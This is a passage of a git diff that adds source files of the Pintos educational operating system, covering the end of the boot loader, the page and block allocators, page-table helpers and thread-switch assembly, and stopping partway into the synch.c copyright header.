+ int $0x15
+ jc panic
+ cli # BIOS might have enabled interrupts
+ addl $1024, %eax # Total kB memory
+ cmp $0x10000, %eax # Cap at 64 MB
+ jbe 1f
+ mov $0x10000, %eax
+1: shrl $2, %eax # Total 4 kB pages
+ movl %eax, ram_pgs
+
+#### Create temporary page directory and page table and set page
+#### directory base register.
+
+# Create page directory at 64 kB and fill with zeroes.
+ mov $0x1000, %ax
+ mov %ax, %es
+ subl %eax, %eax
+ subl %edi, %edi
+ movl $0x400, %ecx
+ rep stosl
+
+# Add PDEs to point to PTEs for the first 64 MB of RAM.
+# Also add identical PDEs starting at LOADER_PHYS_BASE.
+# See [IA32-v3a] section 3.7.6 "Page-Directory and Page-Table Entries"
+# for a description of the bits in %eax.
+
+
+ movl $0x11007, %eax
+ movl $0x11, %ecx
+ subl %edi, %edi
+1: movl %eax, %es:(%di)
+ movl %eax, %es:LOADER_PHYS_BASE >> 20(%di)
+ addw $4, %di
+ addl $0x1000, %eax
+ loop 1b
+
+# Set up one-to-map linear to physical map for the first 64 MB of RAM.
+# See [IA32-v3a] section 3.7.6 "Page-Directory and Page-Table Entries"
+# for a description of the bits in %eax.
+
+ movw $0x1100, %ax
+ movw %ax, %es
+ movl $0x7, %eax
+ movl $0x4000, %ecx
+ subl %edi, %edi
+1: movl %eax, %es:(%di)
+ addw $4, %di
+ addl $0x1000, %eax
+ loop 1b
+
+# Set page directory base register.
+
+ movl $0x10000, %eax
+ movl %eax, %cr3
+
+#### Switch to protected mode.
+
+# Note that interrupts are still off.
+
+# Point the GDTR to our GDT. Protected mode requires a GDT.
+# We need a data32 prefix to ensure that all 32 bits of the GDT
+# descriptor are loaded (default is to load only 24 bits).
+
+ data32 lgdt gdtdesc
+
+# Then we turn on the following bits in CR0:
+# PE (Protect Enable): this turns on protected mode.
+# PG (Paging): turns on paging.
+# WP (Write Protect): if unset, ring 0 code ignores
+# write-protect bits in page tables (!).
+# EM (Emulation): forces floating-point instructions to trap.
+# We don't support floating point.
+
+ movl %cr0, %eax
+ orl $CR0_PE | CR0_PG | CR0_WP | CR0_EM, %eax
+ movl %eax, %cr0
+
+# We're now in protected mode in a 16-bit segment. The CPU still has
+# the real-mode code segment cached in %cs's segment descriptor. We
+# need to reload %cs, and the easiest way is to use a far jump.
+# Because we're not in a 32-bit segment the data32 prefix is needed to
+# jump to a 32-bit offset.
+
+ data32 ljmp $SEL_KCSEG, $1f + LOADER_PHYS_BASE
+
+# We're now in protected mode in a 32-bit segment.
+
+ .code32
+
+# Reload all the other segment registers and the stack pointer to
+# point into our new GDT.
+
+1: movw $SEL_KDSEG, %ax
+ movw %ax, %ds
+ movw %ax, %es
+ movw %ax, %fs
+ movw %ax, %gs
+ movw %ax, %ss
+ movl $LOADER_PHYS_BASE + 0x30000, %esp
+
+#### Load kernel starting at physical address LOADER_KERN_BASE by
+#### frobbing the IDE controller directly.
+
+ movl $1, %ebx
+ movl $LOADER_KERN_BASE + LOADER_PHYS_BASE, %edi
+
+# Disable interrupt delivery by IDE controller, because we will be
+# polling for data.
+# (If we don't do this, Bochs 2.2.6 will never deliver any IDE
+# interrupt to us later after we reset the interrupt controller during
+# boot, even if we also reset the IDE controller.)
+
+ movw $0x3f6, %dx
+ movb $0x02, %al
+ outb %al, %dx
+
+read_sector:
+
+# Poll status register while controller busy.
+
+ movl $0x1f7, %edx
+1: inb %dx, %al
+ testb $0x80, %al
+ jnz 1b
+
+# Read a single sector.
+
+ movl $0x1f2, %edx
+ movb $1, %al
+ outb %al, %dx
+
+# Sector number to write in low 28 bits.
+# LBA mode, device 0 in top 4 bits.
+
+ movl %ebx, %eax
+ andl $0x0fffffff, %eax
+ orl $0xe0000000, %eax
+
+# Dump %eax to ports 0x1f3...0x1f6.
+
+ movl $4, %ecx
+1: incw %dx
+ outb %al, %dx
+ shrl $8, %eax
+ loop 1b
+
+# READ command to command register.
+
+ incw %dx
+ movb $0x20, %al
+ outb %al, %dx
+
+# Poll status register while controller busy.
+
+1: inb %dx, %al
+ testb $0x80, %al
+ jnz 1b
+
+# Poll status register until data ready.
+
+1: inb %dx, %al
+ testb $0x08, %al
+ jz 1b
+
+# Transfer sector.
+
+ movl $256, %ecx
+ movl $0x1f0, %edx
+ rep insw
+
+# Next sector.
+
+ incl %ebx
+ cmpl $KERNEL_LOAD_PAGES*8 + 1, %ebx
+ jnz read_sector
+
+#### Jump to kernel entry point.
+
+ movl $LOADER_PHYS_BASE + LOADER_KERN_BASE, %eax
+ call *%eax
+ jmp panic
+
+#### GDT
+
+gdt:
+ .quad 0x0000000000000000 # null seg
+ .quad 0x00cf9a000000ffff # code seg
+ .quad 0x00cf92000000ffff # data seg
+
+gdtdesc:
+ .word 0x17 # sizeof (gdt) - 1
+ .long gdt + LOADER_PHYS_BASE # address gdt
+
+#### Fatal error.
+#### Print panic_message (with help from the BIOS) and spin.
+
+panic: .code16 # We only panic in real mode.
+ movw $panic_message, %si
+ movb $0xe, %ah
+ subb %bh, %bh
+1: lodsb
+ test %al, %al
+2: jz 2b # Spin.
+ int $0x10
+ jmp 1b
+
+panic_message:
+ .ascii "Panic!"
+ .byte 0
+
+#### Physical memory size in 4 kB pages.
+#### This is initialized by the loader and read by the kernel.
+ .org LOADER_RAM_PGS - LOADER_BASE
+ram_pgs:
+ .long 0
+
+#### Command-line arguments and their count.
+#### This is written by the `pintos' utility and read by the kernel.
+#### The loader itself does not do anything with the command line.
+ .org LOADER_ARG_CNT - LOADER_BASE
+arg_cnt:
+ .long 0
+ .org LOADER_ARGS - LOADER_BASE
+args:
+ .fill 0x80, 1, 0
+
+#### Boot-sector signature.
+#### The BIOS checks that this is set properly.
+ .org LOADER_SIG - LOADER_BASE
+ .word 0xaa55
diff --git a/src/threads/loader.h b/src/threads/loader.h
new file mode 100644
index 0000000..5bd9813
--- /dev/null
+++ b/src/threads/loader.h
@@ -0,0 +1,38 @@
+#ifndef THREADS_LOADER_H
+#define THREADS_LOADER_H
+
+/* Constants fixed by the PC BIOS. */
+#define LOADER_BASE 0x7c00 /* Physical address of loader's base. */
+#define LOADER_END 0x7e00 /* Physical address of end of loader. */
+
+/* Physical address of kernel base. */
+#define LOADER_KERN_BASE 0x100000 /* 1 MB. */
+
+/* Kernel virtual address at which all physical memory is mapped.
+
+ The loader maps the 4 MB at the bottom of physical memory to
+ this virtual base address. Later, paging_init() adds the rest
+ of physical memory to the mapping.
+
+ This must be aligned on a 4 MB boundary. */
+#define LOADER_PHYS_BASE 0xc0000000 /* 3 GB. */
+
+/* Important loader physical addresses. */
+#define LOADER_SIG (LOADER_END - LOADER_SIG_LEN) /* 0xaa55 BIOS signature. */
+#define LOADER_ARGS (LOADER_SIG - LOADER_ARGS_LEN) /* Command-line args. */
+#define LOADER_ARG_CNT (LOADER_ARGS - LOADER_ARG_CNT_LEN) /* Number of args. */
+#define LOADER_RAM_PGS (LOADER_ARG_CNT - LOADER_RAM_PGS_LEN) /* # RAM pages. */
+
+/* Sizes of loader data structures. */
+#define LOADER_SIG_LEN 2
+#define LOADER_ARGS_LEN 128
+#define LOADER_ARG_CNT_LEN 4
+#define LOADER_RAM_PGS_LEN 4
+
+/* GDT selectors defined by loader.
+ More selectors are defined by userprog/gdt.h. */
+#define SEL_NULL 0x00 /* Null selector. */
+#define SEL_KCSEG 0x08 /* Kernel code selector. */
+#define SEL_KDSEG 0x10 /* Kernel data selector. */
+
+#endif /* threads/loader.h */
diff --git a/src/threads/malloc.c b/src/threads/malloc.c
new file mode 100644
index 0000000..f6f803b
--- /dev/null
+++ b/src/threads/malloc.c
@@ -0,0 +1,294 @@
+#include "threads/malloc.h"
+#include <debug.h>
+#include <list.h>
+#include <round.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <string.h>
+#include "threads/palloc.h"
+#include "threads/synch.h"
+#include "threads/vaddr.h"
+
+/* A simple implementation of malloc().
+
+ The size of each request, in bytes, is rounded up to a power
+ of 2 and assigned to the "descriptor" that manages blocks of
+ that size. The descriptor keeps a list of free blocks. If
+ the free list is nonempty, one of its blocks is used to
+ satisfy the request.
+
+ Otherwise, a new page of memory, called an "arena", is
+ obtained from the page allocator (if none is available,
+ malloc() returns a null pointer). The new arena is divided
+ into blocks, all of which are added to the descriptor's free
+ list. Then we return one of the new blocks.
+
+ When we free a block, we add it to its descriptor's free list.
+ But if the arena that the block was in now has no in-use
+ blocks, we remove all of the arena's blocks from the free list
+ and give the arena back to the page allocator.
+
+ We can't handle blocks bigger than 2 kB using this scheme,
+ because they're too big to fit in a single page with a
+ descriptor. We handle those by allocating contiguous pages
+ with the page allocator and sticking the allocation size at
+ the beginning of the allocated block's arena header. */
+
+/* Descriptor. */
+struct desc
+ {
+ size_t block_size; /* Size of each element in bytes. */
+ size_t blocks_per_arena; /* Number of blocks in an arena. */
+ struct list free_list; /* List of free blocks. */
+ struct lock lock; /* Lock. */
+ };
+
+/* Magic number for detecting arena corruption. */
+#define ARENA_MAGIC 0x9a548eed
+
+/* Arena. */
+struct arena
+ {
+ unsigned magic; /* Always set to ARENA_MAGIC. */
+ struct desc *desc; /* Owning descriptor, null for big block. */
+ size_t free_cnt; /* Free blocks; pages in big block. */
+ };
+
+/* Free block. */
+struct block
+ {
+ struct list_elem free_elem; /* Free list element. */
+ };
+
+/* Our set of descriptors. */
+static struct desc descs[10]; /* Descriptors. */
+static size_t desc_cnt; /* Number of descriptors. */
+
+static struct arena *block_to_arena (struct block *);
+static struct block *arena_to_block (struct arena *, size_t idx);
+
+/* Initializes the malloc() descriptors. */
+void
+malloc_init (void)
+{
+ size_t block_size;
+
+ for (block_size = 16; block_size < PGSIZE / 2; block_size *= 2)
+ {
+ struct desc *d = &descs[desc_cnt++];
+ ASSERT (desc_cnt <= sizeof descs / sizeof *descs);
+ d->block_size = block_size;
+ d->blocks_per_arena = (PGSIZE - sizeof (struct arena)) / block_size;
+ list_init (&d->free_list);
+ lock_init (&d->lock);
+ }
+}
+
+/* Obtains and returns a new block of at least SIZE bytes.
+ Returns a null pointer if memory is not available. */
+void *
+malloc (size_t size)
+{
+ struct desc *d;
+ struct block *b;
+ struct arena *a;
+
+ /* A null pointer satisfies a request for 0 bytes. */
+ if (size == 0)
+ return NULL;
+
+ /* Find the smallest descriptor that satisfies a SIZE-byte
+ request. */
+ for (d = descs; d < descs + desc_cnt; d++)
+ if (d->block_size >= size)
+ break;
+ if (d == descs + desc_cnt)
+ {
+ /* SIZE is too big for any descriptor.
+ Allocate enough pages to hold SIZE plus an arena. */
+ size_t page_cnt = DIV_ROUND_UP (size + sizeof *a, PGSIZE);
+ a = palloc_get_multiple (0, page_cnt);
+ if (a == NULL)
+ return NULL;
+
+ /* Initialize the arena to indicate a big block of PAGE_CNT
+ pages, and return it. */
+ a->magic = ARENA_MAGIC;
+ a->desc = NULL;
+ a->free_cnt = page_cnt;
+ return a + 1;
+ }
+
+ lock_acquire (&d->lock);
+
+ /* If the free list is empty, create a new arena. */
+ if (list_empty (&d->free_list))
+ {
+ size_t i;
+
+ /* Allocate a page. */
+ a = palloc_get_page (0);
+ if (a == NULL)
+ {
+ lock_release (&d->lock);
+ return NULL;
+ }
+
+ /* Initialize arena and add its blocks to the free list. */
+ a->magic = ARENA_MAGIC;
+ a->desc = d;
+ a->free_cnt = d->blocks_per_arena;
+ for (i = 0; i < d->blocks_per_arena; i++)
+ {
+ struct block *b = arena_to_block (a, i);
+ list_push_back (&d->free_list, &b->free_elem);
+ }
+ }
+
+ /* Get a block from free list and return it. */
+ b = list_entry (list_pop_front (&d->free_list), struct block, free_elem);
+ a = block_to_arena (b);
+ a->free_cnt--;
+ lock_release (&d->lock);
+ return b;
+}
+
+/* Allocates and return A times B bytes initialized to zeroes.
+ Returns a null pointer if memory is not available. */
+void *
+calloc (size_t a, size_t b)
+{
+ void *p;
+ size_t size;
+
+ /* Calculate block size and make sure it fits in size_t. */
+ size = a * b;
+ if (size < a || size < b)
+ return NULL;
+
+ /* Allocate and zero memory. */
+ p = malloc (size);
+ if (p != NULL)
+ memset (p, 0, size);
+
+ return p;
+}
+
+/* Returns the number of bytes allocated for BLOCK. */
+static size_t
+block_size (void *block)
+{
+ struct block *b = block;
+ struct arena *a = block_to_arena (b);
+ struct desc *d = a->desc;
+
+ return d != NULL ? d->block_size : PGSIZE * a->free_cnt - pg_ofs (block);
+}
+
+/* Attempts to resize OLD_BLOCK to NEW_SIZE bytes, possibly
+ moving it in the process.
+ If successful, returns the new block; on failure, returns a
+ null pointer.
+ A call with null OLD_BLOCK is equivalent to malloc(NEW_SIZE).
+ A call with zero NEW_SIZE is equivalent to free(OLD_BLOCK). */
+void *
+realloc (void *old_block, size_t new_size)
+{
+ if (new_size == 0)
+ {
+ free (old_block);
+ return NULL;
+ }
+ else
+ {
+ void *new_block = malloc (new_size);
+ if (old_block != NULL && new_block != NULL)
+ {
+ size_t old_size = block_size (old_block);
+ size_t min_size = new_size < old_size ? new_size : old_size;
+ memcpy (new_block, old_block, min_size);
+ free (old_block);
+ }
+ return new_block;
+ }
+}
+
+/* Frees block P, which must have been previously allocated with
+ malloc(), calloc(), or realloc(). */
+void
+free (void *p)
+{
+ if (p != NULL)
+ {
+ struct block *b = p;
+ struct arena *a = block_to_arena (b);
+ struct desc *d = a->desc;
+
+ if (d != NULL)
+ {
+ /* It's a normal block. We handle it here. */
+
+#ifndef NDEBUG
+ /* Clear the block to help detect use-after-free bugs. */
+ memset (b, 0xcc, d->block_size);
+#endif
+
+ lock_acquire (&d->lock);
+
+ /* Add block to free list. */
+ list_push_front (&d->free_list, &b->free_elem);
+
+ /* If the arena is now entirely unused, free it. */
+ if (++a->free_cnt >= d->blocks_per_arena)
+ {
+ size_t i;
+
+ ASSERT (a->free_cnt == d->blocks_per_arena);
+ for (i = 0; i < d->blocks_per_arena; i++)
+ {
+ struct block *b = arena_to_block (a, i);
+ list_remove (&b->free_elem);
+ }
+ palloc_free_page (a);
+ }
+
+ lock_release (&d->lock);
+ }
+ else
+ {
+ /* It's a big block. Free its pages. */
+ palloc_free_multiple (a, a->free_cnt);
+ return;
+ }
+ }
+}
+
+/* Returns the arena that block B is inside. */
+static struct arena *
+block_to_arena (struct block *b)
+{
+ struct arena *a = pg_round_down (b);
+
+ /* Check that the arena is valid. */
+ ASSERT (a != NULL);
+ ASSERT (a->magic == ARENA_MAGIC);
+
+ /* Check that the block is properly aligned for the arena. */
+ ASSERT (a->desc == NULL
+ || (pg_ofs (b) - sizeof *a) % a->desc->block_size == 0);
+ ASSERT (a->desc != NULL || pg_ofs (b) == sizeof *a);
+
+ return a;
+}
+
+/* Returns the (IDX - 1)'th block within arena A. */
+static struct block *
+arena_to_block (struct arena *a, size_t idx)
+{
+ ASSERT (a != NULL);
+ ASSERT (a->magic == ARENA_MAGIC);
+ ASSERT (idx < a->desc->blocks_per_arena);
+ return (struct block *) ((uint8_t *) a
+ + sizeof *a
+ + idx * a->desc->block_size);
+}
diff --git a/src/threads/malloc.h b/src/threads/malloc.h
new file mode 100644
index 0000000..bc55d36
--- /dev/null
+++ b/src/threads/malloc.h
@@ -0,0 +1,13 @@
+#ifndef THREADS_MALLOC_H
+#define THREADS_MALLOC_H
+
+#include <debug.h>
+#include <stddef.h>
+
+void malloc_init (void);
+void *malloc (size_t) __attribute__ ((malloc));
+void *calloc (size_t, size_t) __attribute__ ((malloc));
+void *realloc (void *, size_t);
+void free (void *);
+
+#endif /* threads/malloc.h */
diff --git a/src/threads/palloc.c b/src/threads/palloc.c
new file mode 100644
index 0000000..0a5795a
--- /dev/null
+++ b/src/threads/palloc.c
@@ -0,0 +1,196 @@
+#include "threads/palloc.h"
+#include <bitmap.h>
+#include <debug.h>
+#include <inttypes.h>
+#include <round.h>
+#include <stddef.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <string.h>
+#include "threads/init.h"
+#include "threads/loader.h"
+#include "threads/synch.h"
+#include "threads/vaddr.h"
+
+/* Page allocator. Hands out memory in page-size (or
+ page-multiple) chunks. See malloc.h for an allocator that
+ hands out smaller chunks.
+
+ System memory is divided into two "pools" called the kernel
+ and user pools. The user pool is for user (virtual) memory
+ pages, the kernel pool for everything else. The idea here is
+ that the kernel needs to have memory for its own operations
+ even if user processes are swapping like mad.
+
+ By default, half of system RAM is given to the kernel pool and
+ half to the user pool. That should be huge overkill for the
+ kernel pool, but that's just fine for demonstration purposes. */
+
+/* A memory pool. */
+struct pool
+ {
+ struct lock lock; /* Mutual exclusion. */
+ struct bitmap *used_map; /* Bitmap of free pages. */
+ uint8_t *base; /* Base of pool. */
+ };
+
+/* Two pools: one for kernel data, one for user pages. */
+struct pool kernel_pool, user_pool;
+
+/* Maximum number of pages to put in user pool. */
+size_t user_page_limit = SIZE_MAX;
+size_t free_page_limit = SIZE_MAX; // klaar@ida
+
+static void init_pool (struct pool *, void *base, size_t page_cnt,
+ const char *name);
+static bool page_from_pool (const struct pool *, void *page);
+
+/* Initializes the page allocator. */
+void
+palloc_init (void)
+{
+ /* End of the kernel as recorded by the linker.
+ See kernel.lds.S. */
+ extern char _end;
+
+ /* Free memory. */
+ uint8_t *free_start = pg_round_up (&_end);
+ uint8_t *free_end = ptov (ram_pages * PGSIZE);
+ size_t free_pages = (free_end - free_start) / PGSIZE;
+ size_t user_pages;
+ size_t kernel_pages;
+
+ if (free_pages > free_page_limit) // klaar@ida
+ free_pages = free_page_limit;
+
+ user_pages = free_pages / 2;
+ if (user_pages > user_page_limit)
+ user_pages = user_page_limit;
+
+ kernel_pages = free_pages - user_pages;
+
+ /* Give half of memory to kernel, half to user. */
+ init_pool (&kernel_pool, free_start, kernel_pages, "kernel pool");
+ init_pool (&user_pool, free_start + kernel_pages * PGSIZE,
+ user_pages, "user pool");
+}
+
+/* Obtains and returns a group of PAGE_CNT contiguous free pages.
+ If PAL_USER is set, the pages are obtained from the user pool,
+ otherwise from the kernel pool. If PAL_ZERO is set in FLAGS,
+ then the pages are filled with zeros. If too few pages are
+ available, returns a null pointer, unless PAL_ASSERT is set in
+ FLAGS, in which case the kernel panics. */
+void *
+palloc_get_multiple (enum palloc_flags flags, size_t page_cnt)
+{
+ struct pool *pool = flags & PAL_USER ? &user_pool : &kernel_pool;
+ void *pages;
+ size_t page_idx;
+
+ if (page_cnt == 0)
+ return NULL;
+
+ lock_acquire (&pool->lock);
+ page_idx = bitmap_scan_and_flip (pool->used_map, 0, page_cnt, false);
+ lock_release (&pool->lock);
+
+ if (page_idx != BITMAP_ERROR)
+ pages = pool->base + PGSIZE * page_idx;
+ else
+ pages = NULL;
+
+ if (pages != NULL)
+ {
+ if (flags & PAL_ZERO)
+ memset (pages, 0, PGSIZE * page_cnt);
+ }
+ else
+ {
+ if (flags & PAL_ASSERT)
+ PANIC ("palloc_get: out of pages");
+ }
+
+ return pages;
+}
+
+/* Obtains a single free page and returns its kernel virtual
+ address.
+ If PAL_USER is set, the page is obtained from the user pool,
+ otherwise from the kernel pool. If PAL_ZERO is set in FLAGS,
+ then the page is filled with zeros. If no pages are
+ available, returns a null pointer, unless PAL_ASSERT is set in
+ FLAGS, in which case the kernel panics. */
+void *
+palloc_get_page (enum palloc_flags flags)
+{
+ return palloc_get_multiple (flags, 1);
+}
+
+/* Frees the PAGE_CNT pages starting at PAGES. */
+void
+palloc_free_multiple (void *pages, size_t page_cnt)
+{
+ struct pool *pool;
+ size_t page_idx;
+
+ ASSERT (pg_ofs (pages) == 0);
+ if (pages == NULL || page_cnt == 0)
+ return;
+
+ if (page_from_pool (&kernel_pool, pages))
+ pool = &kernel_pool;
+ else if (page_from_pool (&user_pool, pages))
+ pool = &user_pool;
+ else
+ NOT_REACHED ();
+
+ page_idx = pg_no (pages) - pg_no (pool->base);
+
+#ifndef NDEBUG
+ memset (pages, 0xcc, PGSIZE * page_cnt);
+#endif
+
+ ASSERT (bitmap_all (pool->used_map, page_idx, page_cnt));
+ bitmap_set_multiple (pool->used_map, page_idx, page_cnt, false);
+}
+
+/* Frees the page at PAGE. */
+void
+palloc_free_page (void *page)
+{
+ palloc_free_multiple (page, 1);
+}
+
+/* Initializes pool P as starting at START and ending at END,
+ naming it NAME for debugging purposes. */
+static void
+init_pool (struct pool *p, void *base, size_t page_cnt, const char *name)
+{
+ /* We'll put the pool's used_map at its base.
+ Calculate the space needed for the bitmap
+ and subtract it from the pool's size. */
+ size_t bm_pages = DIV_ROUND_UP (bitmap_buf_size (page_cnt), PGSIZE);
+ if (bm_pages > page_cnt)
+ PANIC ("Not enough memory in %s for bitmap.", name);
+ page_cnt -= bm_pages;
+
+ printf ("%zu pages available in %s.\n", page_cnt, name);
+
+ /* Initialize the pool. */
+ lock_init (&p->lock);
+ p->used_map = bitmap_create_in_buf (page_cnt, base, bm_pages * PGSIZE);
+ p->base = base + bm_pages * PGSIZE;
+}
+
+/* Returns true if PAGE was allocated from POOL,
+ false otherwise. */
+static bool
+page_from_pool (const struct pool *pool, void *page)
+{
+ size_t page_no = pg_no (page);
+ size_t start_page = pg_no (pool->base);
+ size_t end_page = start_page + bitmap_size (pool->used_map);
+
+ return page_no >= start_page && page_no < end_page;
+}
diff --git a/src/threads/palloc.h b/src/threads/palloc.h
new file mode 100644
index 0000000..c9a4281
--- /dev/null
+++ b/src/threads/palloc.h
@@ -0,0 +1,24 @@
+#ifndef THREADS_PALLOC_H
+#define THREADS_PALLOC_H
+
+#include <stddef.h>
+
+/* How to allocate pages. */
+enum palloc_flags
+ {
+ PAL_ASSERT = 001, /* Panic on failure. */
+ PAL_ZERO = 002, /* Zero page contents. */
+ PAL_USER = 004 /* User page. */
+ };
+
+/* Maximum number of pages to put in user pool. */
+extern size_t user_page_limit;
+extern size_t free_page_limit; // klaar@ida
+
+void palloc_init (void);
+void *palloc_get_page (enum palloc_flags);
+void *palloc_get_multiple (enum palloc_flags, size_t page_cnt);
+void palloc_free_page (void *);
+void palloc_free_multiple (void *, size_t page_cnt);
+
+#endif /* threads/palloc.h */
diff --git a/src/threads/pte.h b/src/threads/pte.h
new file mode 100644
index 0000000..1660727
--- /dev/null
+++ b/src/threads/pte.h
@@ -0,0 +1,107 @@
+#ifndef THREADS_PTE_H
+#define THREADS_PTE_H
+
+#include "threads/vaddr.h"
+
+/* Functions and macros for working with x86 hardware page
+ tables.
+
+ See vaddr.h for more generic functions and macros for virtual
+ addresses.
+
+ Virtual addresses are structured as follows:
+
+ 31 22 21 12 11 0
+ +----------------------+----------------------+----------------------+
+ | Page Directory Index | Page Table Index | Page Offset |
+ +----------------------+----------------------+----------------------+
+*/
+
+/* Page table index (bits 12:21). */
+#define PTSHIFT PGBITS /* First page table bit. */
+#define PTBITS 10 /* Number of page table bits. */
+#define PTSPAN (1 << PTBITS << PGBITS) /* Bytes covered by a page table. */
+#define PTMASK BITMASK(PTSHIFT, PTBITS) /* Page table bits (12:21). */
+
+/* Page directory index (bits 22:31). */
+#define PDSHIFT (PTSHIFT + PTBITS) /* First page directory bit. */
+#define PDBITS 10 /* Number of page dir bits. */
+#define PDMASK BITMASK(PDSHIFT, PDBITS) /* Page directory bits (22:31). */
+
+/* Obtains page table index from a virtual address. */
+static inline unsigned pt_no (const void *va) {
+ return ((uintptr_t) va & PTMASK) >> PTSHIFT;
+}
+
+/* Obtains page directory index from a virtual address. */
+static inline uintptr_t pd_no (const void *va) {
+ return (uintptr_t) va >> PDSHIFT;
+}
+
+/* Page directory and page table entries.
+
+ For more information see the section on page tables in the
+ Pintos reference guide chapter, or [IA32-v3a] 3.7.6
+ "Page-Directory and Page-Table Entries".
+
+ PDEs and PTEs share a common format:
+
+ 31 12 11 0
+ +------------------------------------+------------------------+
+ | Physical Address | Flags |
+ +------------------------------------+------------------------+
+
+ In a PDE, the physical address points to a page table.
+ In a PTE, the physical address points to a data or code page.
+ The important flags are listed below.
+ When a PDE or PTE is not "present", the other flags are
+ ignored.
+ A PDE or PTE that is initialized to 0 will be interpreted as
+ "not present", which is just fine. */
+#define PTE_FLAGS 0x00000fff /* Flag bits. */
+#define PTE_ADDR 0xfffff000 /* Address bits. */
+#define PTE_AVL 0x00000e00 /* Bits available for OS use. */
+#define PTE_P 0x1 /* 1=present, 0=not present. */
+#define PTE_W 0x2 /* 1=read/write, 0=read-only. */
+#define PTE_U 0x4 /* 1=user/kernel, 0=kernel only. */
+#define PTE_A 0x20 /* 1=accessed, 0=not acccessed. */
+#define PTE_D 0x40 /* 1=dirty, 0=not dirty (PTEs only). */
+
+/* Returns a PDE that points to page table PT. */
+static inline uint32_t pde_create (uint32_t *pt) {
+ ASSERT (pg_ofs (pt) == 0);
+ return vtop (pt) | PTE_U | PTE_P | PTE_W;
+}
+
+/* Returns a pointer to the page table that page directory entry
+ PDE, which must "present", points to. */
+static inline uint32_t *pde_get_pt (uint32_t pde) {
+ ASSERT (pde & PTE_P);
+ return ptov (pde & PTE_ADDR);
+}
+
+/* Returns a PTE that points to PAGE.
+ The PTE's page is readable.
+ If WRITABLE is true then it will be writable as well.
+ The page will be usable only by ring 0 code (the kernel). */
+static inline uint32_t pte_create_kernel (void *page, bool writable) {
+ ASSERT (pg_ofs (page) == 0);
+ return vtop (page) | PTE_P | (writable ? PTE_W : 0);
+}
+
+/* Returns a PTE that points to PAGE.
+ The PTE's page is readable.
+ If WRITABLE is true then it will be writable as well.
+ The page will be usable by both user and kernel code. */
+static inline uint32_t pte_create_user (void *page, bool writable) {
+ return pte_create_kernel (page, writable) | PTE_U;
+}
+
+/* Returns a pointer to the page that page table entry PTE points
+ to. */
+static inline void *pte_get_page (uint32_t pte) {
+ return ptov (pte & PTE_ADDR);
+}
+
+#endif /* threads/pte.h */
+
diff --git a/src/threads/start.S b/src/threads/start.S
new file mode 100644
index 0000000..5a495c4
--- /dev/null
+++ b/src/threads/start.S
@@ -0,0 +1,16 @@
+#### The loader needs to have some way to know the kernel's entry
+#### point, that is, the address to which it should jump to start the
+#### kernel. We handle this by writing the linker script kernel.lds.S
+#### so that this module appears at the very beginning of the kernel
+#### image, and then using that as the entry point.
+
+.section .start
+
+.globl start
+.func start
+ # Call main.
+start: call main
+
+ # main() should not return, but if it does, spin.
+1: jmp 1b
+.endfunc
diff --git a/src/threads/switch.S b/src/threads/switch.S
new file mode 100644
index 0000000..244249e
--- /dev/null
+++ b/src/threads/switch.S
@@ -0,0 +1,65 @@
+#include "threads/switch.h"
+
+#### struct thread *switch_threads (struct thread *cur, struct thread *next);
+####
+#### Switches from CUR, which must be the running thread, to NEXT,
+#### which must also be running switch_threads(), returning CUR in
+#### NEXT's context.
+####
+#### This function works by assuming that the thread we're switching
+#### into is also running switch_threads(). Thus, all it has to do is
+#### preserve a few registers on the stack, then switch stacks and
+#### restore the registers. As part of switching stacks we record the
+#### current stack pointer in CUR's thread structure.
+
+.globl switch_threads
+.func switch_threads
+switch_threads:
+ # Save caller's register state.
+ #
+ # Note that the SVR4 ABI allows us to destroy %eax, %ecx, %edx,
+ # but requires us to preserve %ebx, %ebp, %esi, %edi. See
+ # [SysV-ABI-386] pages 3-11 and 3-12 for details.
+ #
+ # This stack frame must match the one set up by thread_create()
+ # in size.
+ pushl %ebx
+ pushl %ebp
+ pushl %esi
+ pushl %edi
+
+ # Get offsetof (struct thread, stack).
+.globl thread_stack_ofs
+ mov thread_stack_ofs, %edx
+
+ # Save current stack pointer to old thread's stack, if any.
+ movl SWITCH_CUR(%esp), %eax
+ movl %esp, (%eax,%edx,1)
+
+ # Restore stack pointer from new thread's stack.
+ movl SWITCH_NEXT(%esp), %ecx
+ movl (%ecx,%edx,1), %esp
+
+ # Restore caller's register state.
+ popl %edi
+ popl %esi
+ popl %ebp
+ popl %ebx
+ ret
+.endfunc
+
+.globl switch_entry
+.func switch_entry
+switch_entry:
+ # Discard switch_threads() arguments.
+ addl $8, %esp
+
+ # Call schedule_tail(prev).
+ pushl %eax
+.globl schedule_tail
+ call schedule_tail
+ addl $4, %esp
+
+ # Start thread proper.
+ ret
+.endfunc
diff --git a/src/threads/switch.h b/src/threads/switch.h
new file mode 100644
index 0000000..cc156b6
--- /dev/null
+++ b/src/threads/switch.h
@@ -0,0 +1,39 @@
+#ifndef THREADS_SWITCH_H
+#define THREADS_SWITCH_H
+
+#ifndef __ASSEMBLER__
+/* switch_thread()'s stack frame. */
+struct switch_threads_frame
+ {
+ uint32_t edi; /* 0: Saved %edi. */
+ uint32_t esi; /* 4: Saved %esi. */
+ uint32_t ebp; /* 8: Saved %ebp. */
+ uint32_t ebx; /* 12: Saved %ebx. */
+ void (*eip) (void); /* 16: Return address. */
+ struct thread *cur; /* 20: switch_threads()'s CUR argument. */
+ struct thread *next; /* 24: switch_threads()'s NEXT argument. */
+ };
+
+/* Switches from CUR, which must be the running thread, to NEXT,
+ which must also be running switch_threads(), returning CUR in
+ NEXT's context. */
+struct thread *switch_threads (struct thread *cur, struct thread *next);
+
+/* Stack frame for switch_entry(). */
+struct switch_entry_frame
+ {
+ void (*eip) (void);
+ };
+
+void switch_entry (void);
+
+/* Pops the CUR and NEXT arguments off the stack, for use in
+ initializing threads. */
+void switch_thunk (void);
+#endif
+
+/* Offsets used by switch.S. */
+#define SWITCH_CUR 20
+#define SWITCH_NEXT 24
+
+#endif /* threads/switch.h */
diff --git a/src/threads/synch.c b/src/threads/synch.c
new file mode 100644
index 0000000..317c68a
--- /dev/null
+++ b/src/threads/synch.c
@@ -0,0 +1,338 @@
+/* This file is derived from source code for the Nachos
+ instructional operating system. The Nachos copyright notice
+ is reproduced in full below. */
+
+/* Copyright (c) 1992-1996 The Regents of the University of California.
+ All rights reserved.
+
+ Permission to use, copy, modify, and distribute this software
+ and its documentation for any purpose, without fee, and
+ without written agreement is hereby granted, provided that the
+ above copyright notice and the following two paragraphs appear
+ in all copies of this software.
+
